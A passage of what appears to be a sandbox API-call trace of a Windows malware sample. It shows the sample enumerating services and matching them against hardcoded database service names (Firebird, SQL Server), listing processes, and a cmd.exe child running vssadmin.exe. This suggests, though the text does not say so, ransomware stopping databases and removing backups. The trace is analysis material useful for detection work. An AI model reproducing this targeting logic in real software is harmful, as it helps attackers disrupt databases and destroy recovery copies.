returned -1 [0272.450] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0272.450] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0272.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0272.450] lstrlenW (lpString="SENS") returned 4 [0272.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0272.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0272.451] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0272.451] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0272.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0272.451] lstrlenW (lpString="ShellHWDetection") returned 16 [0272.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0272.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0272.451] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0272.451] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0272.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0272.451] lstrlenW (lpString="Spooler") returned 7 [0272.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0272.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0272.451] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0272.451] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0272.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0272.451] lstrlenW (lpString="StateRepository") returned 15 [0272.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0272.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0272.451] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0272.451] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0272.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0272.452] lstrlenW (lpString="SysMain") returned 7 [0272.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0272.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0272.452] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0272.452] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0272.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0272.452] lstrlenW (lpString="SystemEventsBroker") returned 18 [0272.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0272.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0272.452] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0272.452] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0272.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0272.452] lstrlenW (lpString="Themes") returned 6 [0272.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0272.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0272.452] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0272.452] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0272.452] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0272.452] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x550 [0272.459] Process32FirstW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.462] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0272.463] lstrlenW (lpString="System") returned 6 [0272.463] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0272.464] lstrlenW (lpString="smss.exe") returned 8 [0272.464] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.465] lstrlenW (lpString="csrss.exe") returned 9 [0272.465] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0272.466] lstrlenW (lpString="wininit.exe") returned 11 [0272.466] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.467] lstrlenW (lpString="csrss.exe") returned 9 [0272.467] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0272.469] lstrlenW (lpString="winlogon.exe") returned 12 [0272.469] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0272.470] lstrlenW (lpString="services.exe") returned 12 [0272.470] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0272.472] lstrlenW (lpString="lsass.exe") returned 9 [0272.472] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0272.472] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0272.473] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0272.473] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0272.473] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.474] lstrlenW (lpString="svchost.exe") returned 11 [0272.474] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.475] lstrlenW (lpString="svchost.exe") returned 11 [0272.475] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0272.477] lstrlenW (lpString="dwm.exe") returned 7 [0272.477] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.478] lstrlenW (lpString="svchost.exe") returned 11 [0272.478] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.479] lstrlenW (lpString="svchost.exe") returned 11 [0272.479] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.480] lstrlenW (lpString="svchost.exe") returned 11 [0272.480] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.481] lstrlenW (lpString="svchost.exe") returned 11 [0272.481] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.489] lstrlenW (lpString="svchost.exe") returned 11 [0272.489] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.495] lstrlenW (lpString="svchost.exe") returned 11 [0272.495] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.497] lstrlenW (lpString="svchost.exe") returned 11 [0272.497] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.498] lstrlenW (lpString="svchost.exe") returned 11 [0272.498] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.503] lstrlenW (lpString="svchost.exe") returned 11 [0272.503] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.504] lstrlenW (lpString="svchost.exe") returned 11 [0272.504] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0272.505] lstrlenW (lpString="spoolsv.exe") returned 11 [0272.505] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.507] lstrlenW (lpString="svchost.exe") returned 11 [0272.507] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0272.508] lstrlenW (lpString="audiodg.exe") returned 11 [0272.508] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0272.509] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0272.509] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0272.510] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0272.510] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0272.511] lstrlenW (lpString="Memory Compression") returned 18 [0272.511] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.530] lstrlenW (lpString="svchost.exe") returned 11 [0272.530] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0272.533] lstrlenW (lpString="sihost.exe") returned 10 [0272.533] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0272.534] lstrlenW (lpString="MDMAgent.exe") returned 12 [0272.534] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0272.535] lstrlenW (lpString="taskhostw.exe") returned 13 [0272.535] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0272.536] lstrlenW (lpString="msoia.exe") returned 9 [0272.536] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0272.538] lstrlenW (lpString="explorer.exe") returned 12 [0272.538] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0272.539] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0272.539] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0272.540] lstrlenW (lpString="SearchUI.exe") returned 12 [0272.540] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0272.547] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0272.548] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0272.549] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0272.549] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0272.550] lstrlenW (lpString="chrome64b.exe") returned 13 [0272.550] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0272.551] lstrlenW (lpString="cmd.exe") returned 7 [0272.551] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0272.552] lstrlenW (lpString="conhost.exe") returned 11 [0272.552] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.553] lstrlenW (lpString="svchost.exe") returned 11 [0272.553] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0272.554] lstrlenW (lpString="vssadmin.exe") returned 12 [0272.554] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0272.555] lstrlenW (lpString="consent.exe") returned 11 [0272.555] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0272.578] CloseHandle (hObject=0x550) returned 1 [0272.578] Sleep (dwMilliseconds=0x1f4) [0273.295] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69a1d0 [0273.295] EnumServicesStatusExW (in: hSCManager=0x69a1d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0273.296] GetLastError () returned 0xea [0273.296] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1cc6) returned 0x45cb458 [0273.296] EnumServicesStatusExW (in: hSCManager=0x69a1d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45cb458, cbBufSize=0x1cc6, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45cb458, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0273.297] CloseServiceHandle (hSCObject=0x69a1d0) returned 1 [0273.297] lstrlenW (lpString="Appinfo") returned 7 [0273.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0273.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0273.298] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0273.298] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0273.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0273.298] lstrlenW (lpString="AppXSvc") returned 7 [0273.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0273.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0273.298] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0273.298] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0273.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0273.298] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0273.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0273.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0273.298] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0273.298] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0273.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0273.298] lstrlenW (lpString="Audiosrv") returned 8 [0273.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0273.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0273.298] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0273.298] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0273.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0273.298] lstrlenW (lpString="BFE") returned 3 [0273.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0273.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0273.299] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0273.299] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0273.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0273.299] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0273.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0273.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0273.299] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0273.299] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0273.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0273.299] lstrlenW (lpString="CDPSvc") returned 6 [0273.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0273.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0273.299] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0273.299] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0273.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0273.299] lstrlenW (lpString="ClickToRunSvc") returned 13 [0273.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0273.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0273.299] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0273.299] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0273.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0273.300] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0273.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0273.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0273.300] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0273.300] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0273.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 